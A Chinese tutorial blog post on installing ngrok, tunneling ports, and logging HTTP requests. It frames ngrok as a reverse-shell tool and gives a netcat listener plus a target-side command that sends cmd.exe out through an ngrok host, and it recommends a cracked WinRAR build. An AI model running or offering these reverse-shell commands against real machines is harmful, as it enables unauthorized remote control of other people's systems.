您的位置:首页 > 理论基础 > 计算机网络

ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

2017-09-22 19:10 363 查看
双方都是内网的反弹shell工具。

Ngrok的下载地址:https://ngrok.com/download



如果你是MAC OS X或者linux可以按照以下步骤安装。
$ unzip /path/to/ngrok.zip




然后查看他支持的命令
$ ./ngrokhelp


如果你是 windows下可以按照以下步骤安装



下载下了后选中文件,右键解压到当前文件夹。

什么,你右键菜单没有这个选项。

那么请安装《winrar烈火汉化破解版》。

然后有个窗口一闪而过。

之后会出现这个:



然后按下 微软徽标键+R (PS:微软徽标键就是 在你的键盘上Ctrl和Alt中间的那个键。)

输入cmd然后回车。



打开cmd后,将刚才解压出来的ngrok.exe拖入。

然后再输入help 回车。



可以看到它支持很多命令。
NAME:
ngrok - tunnel local ports to public URLs and inspect traffic

DESCRIPTION:
ngrok exposes local networked services behinds NATs and firewalls to the
public internet over a secure tunnel. Share local websites, build/test
webhook consumers and self-host personal services.
Detailed help for each command is available with 'ngrok help<command>'.
Open http://localhost:4040 for ngrok's web interface to inspect traffic.

EXAMPLES:
ngrok http 80                    #secure public URL for port 80 web server
ngrok http -subdomain=baz 8080   #port 8080 available at baz.ngrok.io
ngrok http foo.dev:80            #tunnel to host:port instead of localhost
ngrok tcp 22                     #tunnel arbitrary TCP traffic to port 22
ngrok tls -hostname=foo.com 443  #TLS traffic for foo.com to port 443
ngrok start foo bar baz          #start tunnels from the configuration file

VERSION:
2.1.3

AUTHOR:
inconshreveable - <alan@ngrok.com>

COMMANDS:
authtoken    save authtoken toconfiguration file
credits      prints author andlicensing information
http         start an HTTP tunnel
start        start tunnels by namefrom the configuration file
tcp          start a TCP tunnel
tls          start a TLS tunnel
update       update ngrok to thelatest version
version      print the versionstring
help         Shows a list ofcommands or help for one command


使用前先要去注册个账号,

地址:https://dashboard.ngrok.com/user/login

不要告诉我你不会注册账号



先执行认证。

Windows图:



会提示你Authtoken saved toconfiguration file:认证文件存到哪里。

Linux图:



(PS:Authtoken懒得打码了,请不要搞事)

认证Token导入好后,开始讲内网穿透的部分。

./ngrok tcp 9999 **获得一个公网地址,如下图。



ngrok 是不能后台运行的,所以我们要借助screen(用法百度)实现后台运行。
然后再nc -vv -l -p 9999


然后目标机器(内网的windos笔记本)执行
nc.exe -vv 0.tcp.ngrok.io 15996 -e c:\Windows\System32\cmd.exe


0. tcp.ngrok.io 15996 为刚才利用ngrok 得到的公网地址,如下图


然后就反弹回来shell。(PS:由于作者手中没有内网的服务器所以没截图)

下面讲内网机器做HTTP请求记录器:

只需要执行ngrok.exe http 80就可以了。


会发现Tunnel Status online时
Forwarding                    http://771c988f.ngrok.io -> localhost:80

Forwarding                    https://771c988f.ngrok.io -> localhost:80


访问后会有记录。



http://localhost:4040是在线控制台,可以看请求的详细信息。



如果你在80端口搭建了HTTP服务器,那么他就不是显示这个页面:



而是将流量转发到HTTP服务上,访问的是自己内网的HTTP页面。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: